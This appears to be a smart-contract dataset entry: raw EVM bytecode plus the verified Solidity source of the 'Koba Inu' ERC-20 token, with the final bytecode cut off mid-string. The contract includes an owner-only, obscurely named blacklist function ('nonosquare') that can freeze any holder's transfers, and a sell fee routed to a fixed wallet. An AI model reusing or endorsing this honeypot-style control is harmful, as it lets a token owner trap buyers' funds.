0606001604052806028815260200161220d60289139600b60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a86611106565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4d9092919063ffffffff16565b61110e565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b670de0b6b3a764000081565b601260009054906101000a900460ff1681565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbc576011549050610c13565b610c10600954600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110bc90919063ffffffff16565b90505b919050565b610c20611106565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e5f5780601f10610e3457610100808354040283529160200191610e5f565b820191906000526020600020905b815481529060010190602001808311610e4257829003601f168201915b5050505050905090565b6000610e7d610e76611106565b8484611305565b6001905092915050565b600e5481565b600f5481565b60095481565b610ea1611106565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001811015610fbb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806121c0602c913960400191505060405180910390fd5b80600e8190555050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60105481565b600d6020528060005260406000206000915090505481565b600c6020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900460ff166110ba576001601260006101000a81548160ff0219169083151502179055505b565b60006110fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b0d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061227d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561121a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061219e6022913960400191505060405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806122586025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806120f76023913960400191505060405180910390fd5b6000811161146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603081526020018061216e6030913960400191505060405180910390fd5b611472610d9e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114e057506114b0610d9e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a3a5760006115116064611503600e54600854611bd390919063ffffffff16565b6110bc90919063ffffffff16565b90508082111561156c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806121476027913960400191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16146118a257600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116655750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806122356023913960400191505060405180910390fd5b6000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148061175a575042611758601054600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b105b6117cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f45524332303a205478206e6f7420616c6c6f776564207965742e00000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118785750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561188f5761188a8484846000611ce1565b61189d565b61189c8484846000611ce1565b5b611a34565b601260009054906101000a900460ff1661190f576001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061191984610b5a565b1115611970576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061211a602d913960400191505060405180910390fd5b42600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c18484846000611ce1565b60006119ed60646119df600f54600854611bd390919063ffffffff16565b6110bc90919063ffffffff16565b905060006119fa85610b5a565b90506000611a118583611c5990919063ffffffff16565b90508282108015611a2157508281105b15611a3057611a2f85612046565b5b5050505b50611a48565b611a478383836000611ce1565b5b505050565b6000838311158290611afa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611abf578082015181840152602081019050611aa4565b50505050905090810190601f168015611aec5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611bb9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b7e578082015181840152602081019050611b63565b50505050905090810190601f168015611bab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611bc557fe5b049050809150509392505050565b600080831415611be65760009050611c53565b6000828402905082848281611bf757fe5b0414611c4e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806121ec6021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611cd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d5757611d4c82601154611c5990919063ffffffff16565b601181905550611dca565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611dc957611dc2826011546120ac90919063ffffffff16565b6011819055505b5b6000611df26064611de48486611bd390919063ffffffff16565b6110bc90919063ffffffff16565b90506000611e0982856120ac90919063ffffffff16565b90506000611e2260095486611bd390919063ffffffff16565b90506000611e3b60095484611bd390919063ffffffff16565b9050611e8f82600a60008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ac90919063ffffffff16565b600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2481600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5990919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600084111561203c57600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5050505050505050565b61206e61205d6005836110bc90919063ffffffff16565b600854611c5990919063ffffffff16565b6008819055506120a36008546a084595161401484a0000006000198161209057fe5b06600019036110bc90919063ffffffff16565b60098190555050565b60006120ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a4d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a2063757272656e742062616c616e6365206578636565647320746865206d6178206c696d69742e45524332303a20616d6f756e74206578636565647320746865206d6178207478206c696d69742e45524332303a205472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206d6178207478206c696d69742073686f756c642062652067726561746572207468616e2031536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a20746865207472616e73616374696f6e2077617320626c6f636b65642e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bb85bba13d353f37a5c8f2fe492e7a934d78f36e759d33e3d85b3759bb5cc7b964736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,561 |
0x6aFd787De460AD4b9b4aE964ae0dFcC382D81294 | /**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
Humans, I'm coming for revenge now
https://t.me/KobaInuerc
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KobaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Koba Inu";
string private constant _symbol = "KOBA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xab924f8469140667161998aAEaA7b373da121c84);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 3;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000000 * 10**9;
_maxWalletSize = 3000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e55565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612978565b6104b4565b60405161018e9190612e3a565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612ff7565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129b4565b6104e4565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612929565b610634565b60405161021f9190612e3a565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a919061289b565b61070d565b005b34801561025d57600080fd5b506102666107fd565b604051610273919061306c565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129f5565b610806565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a47565b6108b8565b005b3480156102da57600080fd5b506102e3610993565b005b3480156102f157600080fd5b5061030c6004803603810190610307919061289b565b610a05565b6040516103199190612ff7565b60405180910390f35b34801561032e57600080fd5b50610337610a56565b005b34801561034557600080fd5b5061034e610ba9565b005b34801561035c57600080fd5b50610365610c62565b6040516103729190612d6c565b60405180910390f35b34801561038757600080fd5b50610390610c8b565b60405161039d9190612e55565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612978565b610cc8565b6040516103da9190612e3a565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a47565b610ce6565b005b34801561041857600080fd5b50610421610dc1565b005b34801561042f57600080fd5b50610438610e3b565b005b34801561044657600080fd5b50610461600480360381019061045c91906128ed565b6113a9565b60405161046e9190612ff7565b60405180910390f35b60606040518060400160405280600881526020017f4b6f626120496e75000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611430565b8484611438565b6001905092915050565b600069152d02c7e14af6800000905090565b6104ec611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090612f37565b60405180910390fd5b60005b8151811015610630576001600660008484815181106105c4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106289061330d565b91505061057c565b5050565b6000610641848484611603565b6107028461064d611430565b6106fd8560405180606001604052806028815260200161373060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b3611430565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c969092919063ffffffff16565b611438565b600190509392505050565b610715611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990612f37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080e611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089290612f37565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108c0611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094490612f37565b60405180910390fd5b6000811161095a57600080fd5b61098a606461097c8369152d02c7e14af6800000611cfa90919063ffffffff16565b611d7590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d4611430565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b6000479050610a0281611dbf565b50565b6000610a4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2b565b9050919050565b610a5e611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae290612f37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bb1611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3590612f37565b60405180910390fd5b69152d02c7e14af6800000600f8190555069152d02c7e14af6800000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4b4f424100000000000000000000000000000000000000000000000000000000815250905090565b6000610cdc610cd5611430565b8484611603565b6001905092915050565b610cee611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7290612f37565b60405180910390fd5b60008111610d8857600080fd5b610db86064610daa8369152d02c7e14af6800000611cfa90919063ffffffff16565b611d7590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e02611430565b73ffffffffffffffffffffffffffffffffffffffff1614610e2257600080fd5b6000610e2d30610a05565b9050610e3881611e99565b50565b610e43611430565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612f37565b60405180910390fd5b600e60149054906101000a900460ff1615610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612fd7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fb130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000611438565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff757600080fd5b505afa15801561100b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102f91906128c4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109157600080fd5b505afa1580156110a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c991906128c4565b6040518363ffffffff1660e01b81526004016110e6929190612d87565b602060405180830381600087803b15801561110057600080fd5b505af1158015611114573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806